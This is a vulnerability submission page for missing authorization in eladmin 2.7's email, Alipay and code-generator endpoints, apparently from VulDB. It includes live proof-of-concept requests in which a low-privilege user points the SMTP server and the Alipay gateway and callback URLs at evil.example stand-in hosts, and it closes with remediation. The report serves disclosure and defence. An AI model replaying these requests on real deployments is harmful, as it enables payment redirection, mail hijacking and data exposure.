提交 #880860: elunez eladmin 2.7 Improper Authorization信息

标题elunez eladmin 2.7 Improper Authorization
描述Missing authorization on Tools (Email / Alipay) and Code-Generator controllers enables vertical privilege escalation https://github.com/elunez/eladmin ## Summary Several privileged controllers in eladmin enforce only authentication, not authorization. The global Spring Security configuration ends with `anyRequest().authenticated()` and delegates all fine-grained access control to method-level `@PreAuthorize("@el.check('...')")` annotations. The Tools module controllers (`EmailController`, `AliPayController`) and the entire code-generator module (`GeneratorController`, `GenConfigController`) carry **no `@PreAuthorize` annotation on any method**. As a result, any authenticated user, regardless of role, level, or assigned menu permissions, can: - Rewrite the global outbound SMTP email configuration (host, username, password, sender) — `PUT /api/email`. - Send arbitrary email through the configured SMTP server (open relay for spam / phishing under the application identity) — `POST /api/email`. - Read the stored email configuration — `GET /api/email`. - Rewrite the global Alipay merchant configuration (appId, gateway URL, private key, notify/return URLs) — `PUT /api/aliPay`, and read it via `GET /api/aliPay`. - Enumerate the full database schema, including every table name and every column's metadata (e.g. `sys_user`) — `GET /api/generator/tables/all`, `GET /api/generator/columns?tableName=...`. In the shipped seed data these capabilities are exposed in the UI only to roles that hold the corresponding menus (Tools / Development), and the menus carry no permission string at all, so the API is reachable by every logged-in account. ## Affected code `eladmin-system/.../modules/security/config/SpringSecurityConfig.java` ```java .anyRequest().authenticated() ``` All other endpoints in the project gate themselves with, e.g., `@PreAuthorize("@el.check('email:list')")`. The following controllers contain no such annotation on any handler: `eladmin-tools/src/main/java/me/zhengjie/rest/EmailController.java` ```java @GetMapping public ResponseEntity<EmailConfig> queryEmailConfig(){ ... } // no @PreAuthorize @PutMapping public ResponseEntity<Object> updateEmailConfig(@Validated @RequestBody EmailConfig emailConfig) { ... } // no @PreAuthorize @PostMapping public ResponseEntity<Object> sendEmail(@Validated @RequestBody EmailVo emailVo){ ... } // no @PreAuthorize ``` `eladmin-tools/src/main/java/me/zhengjie/rest/AliPayController.java` — `GET` / `PUT /api/aliPay` carry no `@PreAuthorize`. `eladmin-generator/src/main/java/me/zhengjie/rest/GeneratorController.java` — `tables/all`, `tables`, `columns`, `PUT` (saveColumn), `sync`, `/{tableName}/{type}` carry no `@PreAuthorize`. `eladmin-generator/src/main/java/me/zhengjie/rest/GenConfigController.java` — `GET /{tableName}`, `PUT` carry no `@PreAuthorize`. ## Boundary crossed A low-privilege user performs Tools-admin and Development-admin actions and reads forbidden data. Validation below uses the seed account `test` whose only granted authorities are `user:list` and `monitor:list` (role level 2, not admin). The same account is correctly denied on every properly gated endpoint. ## Live validation Target: official source at commit 55fbf70 built and run via the project's Docker stack (app on :18000, MySQL, Redis). Password transport uses the project's RSA scheme; the captcha value was read from Redis to script logins. The `test` token carries only `user:list` and `monitor:list`. Negative/positive controls (proving the token is genuinely low-privilege and the authz layer works elsewhere): ``` GET /api/users (test has user:list) -> HTTP 200 GET /api/roles (needs roles:list) -> {"message":"Access is denied","status":400} GET /api/dict (needs dict:list) -> {"message":"Access is denied","status":400} ``` 1) Rewrite global SMTP config as `test`: ``` PUT /api/email {"host":"attacker-smtp.evil.example","port":"25","user":"[email protected]", "pass":"AttackerPassw0rd","fromUser":"[email protected]"} -> HTTP 200 GET /api/email (as test) -> {"fromUser":"[email protected]","host":"attacker-smtp.evil.example","id":1, "pass":"905A4A5918D20CB887224A4ECB20F484088431153C810EDA","port":"25", "user":"[email protected]"} ``` Database confirmation: ``` SELECT host,user,from_user FROM tool_email_config; attacker-smtp.evil.example [email protected] [email protected] ``` 2) Send mail through the configured SMTP server as `test`: ``` POST /api/email {"tos":["[email protected]"],"subject":"authz-test","content":"sent-by-low-priv-test-user"} -> {"message":"MessagingException: Unknown SMTP host: attacker-smtp.evil.example","status":400} ``` The handler passed authorization, loaded the (attacker-rewritten) config, and attempted SMTP delivery; it failed only because the test host I configured in step 1 does not resolve. With a reachable SMTP host the send completes. 3) Rewrite global Alipay merchant config as `test`: ``` PUT /api/aliPay {"id":1,"appId":"ATTACKER_APPID","gatewayUrl":"https://evil.example/gateway", "privateKey":"ATTACKER_PRIVKEY","publicKey":"ATTACKER_PUBKEY", "notifyUrl":"https://evil.example/notify","returnUrl":"https://evil.example/return", "sysServiceProviderId":"x","format":"JSON","charset":"utf-8","signType":"RSA2"} -> HTTP 200 GET /api/aliPay (as test) -> {"appId":"ATTACKER_APPID","charset":"utf-8","format":"JSON", "gatewayUrl":"https://evil.example/gateway","id":1, "notifyUrl":"https://evil.example/notify","privateKey":"ATTACKER_PRIVKEY", "publicKey":"ATTACKER_PUBKEY","returnUrl":"https://evil.example/return", "signType":"RSA2","sysServiceProviderId":"x"} ``` 4) Enumerate database schema as `test`: ``` GET /api/generator/tables/all -> [["qrtz_triggers",...],["qrtz_job_details",...], ... full table list ...] HTTP 200 GET /api/generator/columns?tableName=sys_user -> {"content":[{"columnName":"user_id",...},{"columnName":"username","keyType":"UNI",...}, ...]} HTTP 200 ``` ## Impact - Confidentiality (High): any account reads the stored email/Alipay configuration and enumerates the entire database schema (table and column metadata of sensitive tables such as `sys_user`). - Integrity (High): any account rewrites the global outbound SMTP server and Alipay merchant credentials. Rewriting SMTP enables harvesting of any password later "tested" through the mail tooling and silently redirects all application email; rewriting Alipay redirects payment notify/return flow to an attacker endpoint. Any account can also send arbitrary email through the configured relay under the application's identity. - The code-generator write/sync endpoints (`PUT /api/generator`, `POST /api/generator/sync`, `PUT /api/genConfig`) are likewise reachable by any account and allow tampering with generation metadata and config. ## Remediation Add method- or class-level `@PreAuthorize("@el.check('...')")` to `EmailController`, `AliPayController`, `GeneratorController`, and `GenConfigController`, consistent with the rest of the codebase (e.g. `email:list`, `aliPay:list`, `generator:list`), and assign those permission strings to the corresponding menus. Alternatively, add explicit role/authority URL rules in `SpringSecurityConfig` for `/api/email/**`, `/api/aliPay/**`, `/api/generator/**`, and `/api/genConfig/**` instead of relying solely on `anyRequest().authenticated()`.
来源⚠️ https://github.com/elunez/eladmin/issues/903
用户
 geochen (UID 78995)
提交2026-07-06 02時39分 (2 月前)
管理2026-08-20 11時00分 (2 months later)
状态已接受
VulDB条目393643 [elunez eladmin 直到 2.7 权限提升]
积分20

Do you want to use VulDB in your project?

Use the official API to access entries easily!